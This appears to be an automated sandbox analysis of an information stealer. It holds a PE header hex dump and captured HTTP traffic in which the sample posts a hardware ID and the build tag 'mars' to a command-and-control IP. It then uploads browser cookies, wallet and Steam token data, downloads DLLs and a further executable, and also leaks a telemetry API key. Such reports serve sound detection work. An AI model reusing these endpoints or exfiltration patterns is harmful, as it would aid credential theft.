c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 18 dc 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 48 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 48 a8 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAEAapOtOl+di22wG5e+NxR+7gAKlYLgR1zTSyPcQ6kExGJNf5wI56iFlfIR733MNhbfB8vQK7gH6li1rIaWQsTmWi/BKD2ZBMfZPk1k9CA648tfq50DxBsWBNT+8CXbNAutplXbG6Zr2r+mE+bAVfd4jrK7F++tSlf+Dh26M8tCXZZNso4qX3x6H01GWFjEo8rwzubDxKRYtGaCQXfjS0PWKdPcGntIqi/1Zihiyvxqivk6WjiUub7CvZGU0omy0K+DUNCegb4x79KgX1msGfjopMAQDvZeZlytxVm4tRMWU5qjkd4an89pPbK3FTgKfGmGgRIAE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1732658223808Host: self.events.data.microsoft.comContent-Length: 7970Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHJKJDGCGDAKFHIDBGCHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 33 44 31 44 44 45 32 44 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 2d 2d 0d 0a Data Ascii: ------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="hwid"973D1DDE2D39786254513------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="build"mars------KEHJKJDGCGDAKFHIDBGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJJECFIECBGDGCAAAEHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 2d 2d 0d 0a Data Ascii: ------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="message"browsers------HJJJECFIECBGDGCAAAEH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIIEHJKKECGCBFIIJDAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 2d 2d 0d 0a Data Ascii: ------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="message"plugins------FHIIEHJKKECGCBFIIJDA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHIDAKECFIEBGDHJEBKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="message"fplugins------AEHIDAKECFIEBGDHJEBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJJEGHIIDAFIDHJDHJEHost: 185.215.113.206Content-Length: 6659Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIEGDBKJKEBGCBAFCFHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 2d 2d 0d 0a Data Ascii: ------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HIIIEGDBKJKEBGCBAFCF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJDGCAEBFIIECAKFHIJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="file"------GIJDGCAEBFIIECAKFHIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIEBAKEHDHCAKEBFBKEGHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIECAAKECFHIECBKJDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="file"------HIIIECAAKECFHIECBKJD--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJJJKEHCAKFBFHJKEHCHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBFIIECBGCBGDHCAFCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 2d 2d 0d 0a Data Ascii: ------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="message"wallets------BAEBFIIECBGCBGDHCAFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFIHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="message"files------FCBAEHCAEGDHJKFHJKFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 2d 2d 0d 0a Data Ascii: ------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="file"------BGIDBKKKKKFBGDGDHIDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJKFHJJJKJJJJKEHCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 2d 2d 0d 0a Data Ascii: ------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------JEGHJKFHJJJKJJJJKEHCContent-Disposition: form-data; name="message"ybncbhylepme------JEGHJKFHJJJKJJJJKEHC--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAAAFBKFIECAAKECGCAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 41 2d 2d 0d 0a Data Ascii: ------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------CAAAAFBKFIECAAKECGCAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CAAAAFBKFIECAAKECGCA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
